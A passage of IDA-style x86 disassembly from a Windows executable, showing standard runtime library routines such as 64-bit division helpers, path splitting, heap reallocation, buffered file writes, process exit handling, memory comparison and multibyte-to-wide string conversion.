jmp short loc_417259
; ---------------------------------------------------------------------------
loc_4171F4: ; CODE XREF: sub_417193+3Aj
; sub_417193+5Bj
mov edx, off_437D70
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_417218
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_417221
; ---------------------------------------------------------------------------
loc_417218: ; CODE XREF: sub_417193+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_417221: ; CODE XREF: sub_417193+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_469528
call sub_41BD71
add esp, 20h
test eax, eax
jz short loc_4171F0
cmp eax, esi
jnz short loc_41724C
movzx eax, [ebp+var_4]
jmp short loc_417259
; ---------------------------------------------------------------------------
loc_41724C: ; CODE XREF: sub_417193+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_417259: ; CODE XREF: sub_417193+16j
; sub_417193+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_417193 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417260 proc near ; CODE XREF: sub_40AA1B+3Dp
; sub_40C218+2Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_417281
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_4172D1
; ---------------------------------------------------------------------------
loc_417281: ; CODE XREF: sub_417260+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41728F: ; CODE XREF: sub_417260+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41728F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_4172BA
cmp edx, [esp+4+arg_4]
ja short loc_4172BA
jb short loc_4172C2
cmp eax, [esp+4+arg_0]
jbe short loc_4172C2
loc_4172BA: ; CODE XREF: sub_417260+4Aj
; sub_417260+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_4172C2: ; CODE XREF: sub_417260+52j
; sub_417260+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_4172D1: ; CODE XREF: sub_417260+1Fj
pop ebx
retn 10h
sub_417260 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4172E0 proc near ; CODE XREF: sub_40AA1B+24p
; sub_40C218+3Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_417302
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_417343
; ---------------------------------------------------------------------------
loc_417302: ; CODE XREF: sub_4172E0+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_417310: ; CODE XREF: sub_4172E0+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_417310
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41733E
cmp edx, [esp+8+arg_4]
ja short loc_41733E
jb short loc_41733F
cmp eax, [esp+8+arg_0]
jbe short loc_41733F
loc_41733E: ; CODE XREF: sub_4172E0+4Ej
; sub_4172E0+54j
dec esi
loc_41733F: ; CODE XREF: sub_4172E0+56j
; sub_4172E0+5Cj
xor edx, edx
mov eax, esi
loc_417343: ; CODE XREF: sub_4172E0+20j
pop esi
pop ebx
retn 10h
sub_4172E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417348 proc near ; CODE XREF: sub_40AAD1+1E3p
; sub_40C682+104p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_415CF0
cmp eax, 1
pop ecx
jb short loc_417383
cmp byte ptr [ebx+1], 3Ah
jnz short loc_417383
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41737F
push 2
push ebx
push esi
call sub_41C3A0
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41737F: ; CODE XREF: sub_417348+25j
inc ebx
inc ebx
jmp short loc_41738D
; ---------------------------------------------------------------------------
loc_417383: ; CODE XREF: sub_417348+18j
; sub_417348+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41738D
and byte ptr [eax], 0
loc_41738D: ; CODE XREF: sub_417348+39j
; sub_417348+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_417405
loc_4173A0: ; CODE XREF: sub_417348+87j
mov cl, [eax]
movzx edx, cl
test byte_46A9E1[edx], 4
jz short loc_4173B1
inc eax
jmp short loc_4173CB
; ---------------------------------------------------------------------------
loc_4173B1: ; CODE XREF: sub_417348+64j
cmp cl, 2Fh
jz short loc_4173C5
cmp cl, 5Ch
jz short loc_4173C5
cmp cl, 2Eh
jnz short loc_4173CB
mov [ebp+var_4], eax
jmp short loc_4173CB
; ---------------------------------------------------------------------------
loc_4173C5: ; CODE XREF: sub_417348+6Cj
; sub_417348+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_4173CB: ; CODE XREF: sub_417348+67j
; sub_417348+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_4173A0
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_417405
cmp [ebp+arg_8], 0
jz short loc_417400
sub edi, ebx
cmp edi, esi
jb short loc_4173E9
mov edi, esi
loc_4173E9: ; CODE XREF: sub_417348+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_41C3A0
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_417400: ; CODE XREF: sub_417348+97j
mov ebx, [ebp+arg_4]
jmp short loc_41740F
; ---------------------------------------------------------------------------
loc_417405: ; CODE XREF: sub_417348+56j
; sub_417348+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41740F
and byte ptr [ecx], 0
loc_41740F: ; CODE XREF: sub_417348+BBj
; sub_417348+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_417462
cmp edi, ebx
jb short loc_417462
cmp [ebp+arg_C], 0
jz short loc_41743F
sub edi, ebx
cmp edi, esi
jb short loc_417428
mov edi, esi
loc_417428: ; CODE XREF: sub_417348+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_41C3A0
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41743F: ; CODE XREF: sub_417348+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41748A
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41744F
mov esi, eax
loc_41744F: ; CODE XREF: sub_417348+103j
push esi
push [ebp+var_4]
push edi
call sub_41C3A0
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41748A
; ---------------------------------------------------------------------------
loc_417462: ; CODE XREF: sub_417348+CCj
; sub_417348+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_417480
sub eax, ebx
cmp eax, esi
jnb short loc_417471
mov esi, eax
loc_417471: ; CODE XREF: sub_417348+125j
push esi
push ebx
push edi
call sub_41C3A0
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_417480: ; CODE XREF: sub_417348+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41748A
and byte ptr [eax], 0
loc_41748A: ; CODE XREF: sub_417348+FCj
; sub_417348+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_417348 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41748F proc near ; CODE XREF: sub_40B1E1+19p
; sub_412D06+1Cp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_417D4C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_4174CD
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_4174DA
; ---------------------------------------------------------------------------
loc_4174CD: ; CODE XREF: sub_41748F+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_417C37
pop ecx
pop ecx
loc_4174DA: ; CODE XREF: sub_41748F+3Cj
mov eax, esi
pop esi
leave
retn
sub_41748F endp
; =============== S U B R O U T I N E =======================================
sub_4174DF proc near ; CODE XREF: sub_40B459+2Ep
; sub_4167D3+35p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
push ebp
push esi
test ebx, ebx
push edi
jnz short loc_4174FA
push [esp+10h+arg_4]
call sub_415DC9
pop ecx
jmp loc_4175FA
; ---------------------------------------------------------------------------
loc_4174FA: ; CODE XREF: sub_4174DF+Aj
mov esi, [esp+10h+arg_4]
test esi, esi
jnz short loc_417510
push ebx
call sub_415E3D
pop ecx
loc_417509: ; CODE XREF: sub_4174DF+114j
xor eax, eax
jmp loc_4175FA
; ---------------------------------------------------------------------------
loc_417510: ; CODE XREF: sub_4174DF+21j
; sub_4174DF+10Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_4175DB
push ebx
call sub_418AFD
mov ebp, eax
pop ecx
test ebp, ebp
jz loc_4175B8
cmp esi, dword_437F8C
ja short loc_417578
push esi
push ebx
push ebp
call sub_419308
add esp, 0Ch
test eax, eax
jz short loc_417547
mov edi, ebx
jmp short loc_417570
; ---------------------------------------------------------------------------
loc_417547: ; CODE XREF: sub_4174DF+62j
push esi
call sub_418E53
mov edi, eax
pop ecx
test edi, edi
jz short loc_417578
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41755E
mov eax, esi
loc_41755E: ; CODE XREF: sub_4174DF+7Bj
push eax
push ebx
push edi
call sub_4155D0
push ebx
push ebp
call sub_418B28
add esp, 14h
loc_417570: ; CODE XREF: sub_4174DF+66j
test edi, edi
jnz loc_4175F8
loc_417578: ; CODE XREF: sub_4174DF+53j
; sub_4174DF+73j
test esi, esi
jnz short loc_41757F
push 1
pop esi
loc_41757F: ; CODE XREF: sub_4174DF+9Bj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_46AB00
call dword_42114C ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_4175DB
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_4175A4
mov eax, esi
loc_4175A4: ; CODE XREF: sub_4174DF+C1j
push eax
push ebx
push edi
call sub_4155D0
push ebx
push ebp
call sub_418B28
add esp, 14h
jmp short loc_4175D7
; ---------------------------------------------------------------------------
loc_4175B8: ; CODE XREF: sub_4174DF+47j
test esi, esi
jnz short loc_4175BF
push 1
pop esi
loc_4175BF: ; CODE XREF: sub_4174DF+DBj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push ebx
push 0
push dword_46AB00
call dword_421160 ; RtlReAllocateHeap
mov edi, eax
loc_4175D7: ; CODE XREF: sub_4174DF+D7j
test edi, edi
jnz short loc_4175F8
loc_4175DB: ; CODE XREF: sub_4174DF+36j
; sub_4174DF+B9j
cmp dword_4694F4, 0
jz short loc_4175F8
push esi
call sub_418A68
test eax, eax
pop ecx
jnz loc_417510
jmp loc_417509
; ---------------------------------------------------------------------------
loc_4175F8: ; CODE XREF: sub_4174DF+93j
; sub_4174DF+FAj ...
mov eax, edi
loc_4175FA: ; CODE XREF: sub_4174DF+16j
; sub_4174DF+2Cj
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4174DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4175FF proc near ; CODE XREF: sub_40BAB4+127p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_417623
xor eax, eax
jmp loc_4176F0
; ---------------------------------------------------------------------------
loc_417623: ; CODE XREF: sub_4175FF+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_417636
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41763D
; ---------------------------------------------------------------------------
loc_417636: ; CODE XREF: sub_4175FF+2Dj
mov [ebp+arg_C], 1000h
loc_41763D: ; CODE XREF: sub_4175FF+35j
; sub_4175FF+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_417671
mov eax, [esi+4]
test eax, eax
jz short loc_417671
cmp ebx, eax
mov edi, ebx
jb short loc_417657
mov edi, eax
loc_417657: ; CODE XREF: sub_4175FF+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_4155D0
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_4176B7
; ---------------------------------------------------------------------------
loc_417671: ; CODE XREF: sub_4175FF+47j
; sub_4175FF+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_4176BC
test ecx, ecx
jz short loc_417685
push esi
call sub_4186E4
test eax, eax
pop ecx
jnz short loc_4176FE
loc_417685: ; CODE XREF: sub_4175FF+79j
cmp [ebp+arg_C], 0
jz short loc_417698
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41769A
; ---------------------------------------------------------------------------
loc_417698: ; CODE XREF: sub_4175FF+8Aj
mov edi, ebx
loc_41769A: ; CODE XREF: sub_4175FF+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_41C42A
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_4176F5
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_4176F5
loc_4176B7: ; CODE XREF: sub_4175FF+70j
mov edi, [ebp+var_4]
jmp short loc_4176E5
; ---------------------------------------------------------------------------
loc_4176BC: ; CODE XREF: sub_4175FF+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_417C37
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4176FE
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_4176E5
mov [ebp+arg_C], 1
loc_4176E5: ; CODE XREF: sub_4175FF+BBj
; sub_4175FF+DDj
test ebx, ebx
jnz loc_41763D
mov eax, [ebp+arg_8]
loc_4176F0: ; CODE XREF: sub_4175FF+1Fj
; sub_4175FF+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4176F5: ; CODE XREF: sub_4175FF+ADj
; sub_4175FF+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_417700
; ---------------------------------------------------------------------------
loc_4176FE: ; CODE XREF: sub_4175FF+84j
; sub_4175FF+CFj
mov eax, edi
loc_417700: ; CODE XREF: sub_4175FF+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_4176F0
sub_4175FF endp
; =============== S U B R O U T I N E =======================================
sub_417709 proc near ; CODE XREF: sub_40C1FE+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call dword_421094 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_417729
call dword_421088 ; RtlGetLastWin32Error
push eax
call sub_41C5D7
pop ecx
loc_417725: ; CODE XREF: sub_417709+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_417729: ; CODE XREF: sub_417709+Dj
test al, 1
jz short loc_41774A
test [esp+arg_4], 2
jz short loc_41774A
mov dword_469494, 0Dh
mov dword_469498, 5
jmp short loc_417725
; ---------------------------------------------------------------------------
loc_41774A: ; CODE XREF: sub_417709+22j
; sub_417709+29j
xor eax, eax
retn
sub_417709 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417750 proc near ; CODE XREF: sub_40C328+5Fp
; sub_40C328+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_417771
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_417771: ; CODE XREF: sub_417750+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41778D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41778D: ; CODE XREF: sub_417750+27j
or eax, eax
jnz short loc_4177A9
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_4177EA
; ---------------------------------------------------------------------------
loc_4177A9: ; CODE XREF: sub_417750+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_4177B7: ; CODE XREF: sub_417750+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_4177B7
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_4177E5
cmp edx, [esp+0Ch+arg_4]
ja short loc_4177E5
jb short loc_4177E6
cmp eax, [esp+0Ch+arg_0]
jbe short loc_4177E6
loc_4177E5: ; CODE XREF: sub_417750+85j
; sub_417750+8Bj
dec esi
loc_4177E6: ; CODE XREF: sub_417750+8Dj
; sub_417750+93j
xor edx, edx
mov eax, esi
loc_4177EA: ; CODE XREF: sub_417750+57j
dec edi
jnz short loc_4177F4
neg edx
neg eax
sbb edx, 0
loc_4177F4: ; CODE XREF: sub_417750+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_417750 endp
; =============== S U B R O U T I N E =======================================
sub_4177FA proc near ; CODE XREF: sub_417AF8+93p
mov eax, off_437D3C
test eax, eax
jz short loc_417805
call eax ; sub_415F3B
loc_417805: ; CODE XREF: sub_4177FA+7j
push offset dword_423028
push offset dword_423014
call sub_4178E2
push offset dword_423010
push offset dword_423000
call sub_4178E2
add esp, 10h
retn
sub_4177FA endp
; =============== S U B R O U T I N E =======================================
sub_417827 proc near ; CODE XREF: sub_417AF8+D2p
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_417849
add esp, 0Ch
retn
sub_417827 endp
; =============== S U B R O U T I N E =======================================
sub_417838 proc near ; CODE XREF: .nsp0:00417BE9p
; sub_417BEE+1Cp ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_417849
add esp, 0Ch
retn
sub_417838 endp
; =============== S U B R O U T I N E =======================================
sub_417849 proc near ; CODE XREF: sub_417827+8p
; sub_417838+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4694DC, edi
jnz short loc_417866
push [esp+4+arg_0]
call dword_421104 ; GetCurrentProcess
push eax
call dword_421140 ; TerminateProcess
loc_417866: ; CODE XREF: sub_417849+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4694D8, edi
mov byte_4694D4, bl
jnz short loc_4178BA
mov eax, dword_46AB14
test eax, eax
jz short loc_4178A9
mov ecx, dword_46AB10
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_4178A8
loc_417895: ; CODE XREF: sub_417849+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41789D
call eax
loc_41789D: ; CODE XREF: sub_417849+50j
sub esi, 4
cmp esi, dword_46AB14
jnb short loc_417895
loc_4178A8: ; CODE XREF: sub_417849+4Aj
pop esi
loc_4178A9: ; CODE XREF: sub_417849+3Cj
push offset dword_423034
push offset dword_42302C
call sub_4178E2
pop ecx
pop ecx
loc_4178BA: ; CODE XREF: sub_417849+33j
push offset dword_423040
push offset dword_423038
call sub_4178E2
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_4178E0
push [esp+4+arg_0]
mov dword_4694DC, edi
call dword_421114 ; ExitProcess
loc_4178E0: ; CODE XREF: sub_417849+85j
pop edi
retn
sub_417849 endp
; =============== S U B R O U T I N E =======================================
sub_4178E2 proc near ; CODE XREF: sub_4177FA+15p
; sub_4177FA+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_4178E7: ; CODE XREF: sub_4178E2+16j
cmp esi, [esp+4+arg_4]
jnb short loc_4178FA
mov eax, [esi]
test eax, eax
jz short loc_4178F5
call eax
loc_4178F5: ; CODE XREF: sub_4178E2+Fj
add esi, 4
jmp short loc_4178E7
; ---------------------------------------------------------------------------
loc_4178FA: ; CODE XREF: sub_4178E2+9j
pop esi
retn
sub_4178E2 endp
; =============== S U B R O U T I N E =======================================
sub_4178FC proc near ; CODE XREF: sub_40CE55+2AAAp
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_421118 ; DeleteFileA
test eax, eax
jnz short loc_417912
call dword_421088 ; RtlGetLastWin32Error
jmp short loc_417914
; ---------------------------------------------------------------------------
loc_417912: ; CODE XREF: sub_4178FC+Cj
xor eax, eax
loc_417914: ; CODE XREF: sub_4178FC+14j
test eax, eax
jz short loc_417923
push eax
call sub_41C5D7
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_417923: ; CODE XREF: sub_4178FC+1Aj
xor eax, eax
retn
sub_4178FC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417930 proc near ; CODE XREF: sub_412B60+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41797C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41797D
test eax, 1
jz short loc_41795D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_4179AA
inc esi
inc edi
dec eax
jz short loc_41797A
loc_41795D: ; CODE XREF: sub_417930+20j
; sub_417930+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_4179AA
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_4179AA
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41795D
loc_41797A: ; CODE XREF: sub_417930+2Bj
; sub_417930+84j
pop edi
pop esi
locret_41797C: ; CODE XREF: sub_417930+6j
retn
; ---------------------------------------------------------------------------
loc_41797D: ; CODE XREF: sub_417930+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_4179B2
repe cmpsd
jz short loc_4179B2
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_4179A5
cmp ch, dh
jnz short loc_4179A5
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_4179A5
cmp ch, dh
loc_4179A5: ; CODE XREF: sub_417930+63j
; sub_417930+67j ...
mov eax, 0
loc_4179AA: ; CODE XREF: sub_417930+26j
; sub_417930+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_4179B2: ; CODE XREF: sub_417930+55j
; sub_417930+59j
test eax, eax
jz short loc_41797A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_4179A5
dec eax
jz short loc_4179D9
cmp dh, ch
jnz short loc_4179A5
dec eax
jz short loc_4179D9
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_4179A5
dec eax
loc_4179D9: ; CODE XREF: sub_417930+8Fj
; sub_417930+96j
pop edi
pop esi
retn
sub_417930 endp
; =============== S U B R O U T I N E =======================================
sub_4179DC proc near ; CODE XREF: sub_413CA9+55p
; sub_4146BA+236p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_4179F3
loc_4179E9: ; CODE XREF: sub_4179DC+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_4179E9
loc_4179F3: ; CODE XREF: sub_4179DC+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_4179DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4179F9 proc near ; CODE XREF: sub_413CA9+19p
; sub_413CA9+49p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_417AC6
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_417AF3
cmp dword_469528, esi
jnz short loc_417A4A
cmp edi, esi
jbe loc_417AF3
loc_417A29: ; CODE XREF: sub_4179F9+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_417AF3
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_417A29
jmp loc_417AF3
; ---------------------------------------------------------------------------
loc_417A4A: ; CODE XREF: sub_4179F9+26j
mov ebx, [ebp+arg_4]
mov esi, dword_421064
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_469538
call esi ; MultiByteToWideChar
test eax, eax
jnz loc_417AF2
call dword_421088 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_417A84
loc_417A75: ; CODE XREF: sub_4179F9+CBj
; sub_4179F9+F7j
mov dword_469494, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_417AF3
; ---------------------------------------------------------------------------
loc_417A84: ; CODE XREF: sub_4179F9+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_417A8C: ; CODE XREF: sub_4179F9+B3j
mov cl, [eax]
test cl, cl
jz short loc_417AAE
mov edx, off_437D70
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_417AA3
inc eax
loc_417AA3: ; CODE XREF: sub_4179F9+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_417A8C
loc_417AAE: ; CODE XREF: sub_4179F9+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_469538
call esi ; MultiByteToWideChar
test eax, eax
jnz short loc_417AF3
jmp short loc_417A75
; ---------------------------------------------------------------------------
loc_417AC6: ; CODE XREF: sub_4179F9+Fj
cmp dword_469528, esi
jnz short loc_417AD9
push [ebp+arg_4]
call sub_415CF0
pop ecx
jmp short loc_417AF3
; ---------------------------------------------------------------------------
loc_417AD9: ; CODE XREF: sub_4179F9+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_469538
call dword_421064 ; MultiByteToWideChar
cmp eax, esi
jz short loc_417A75
loc_417AF2: ; CODE XREF: sub_4179F9+6Bj
dec eax
loc_417AF3: ; CODE XREF: sub_4179F9+1Aj
; sub_4179F9+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4179F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417AF8 proc near ; CODE XREF: start-2C75j
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421678
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
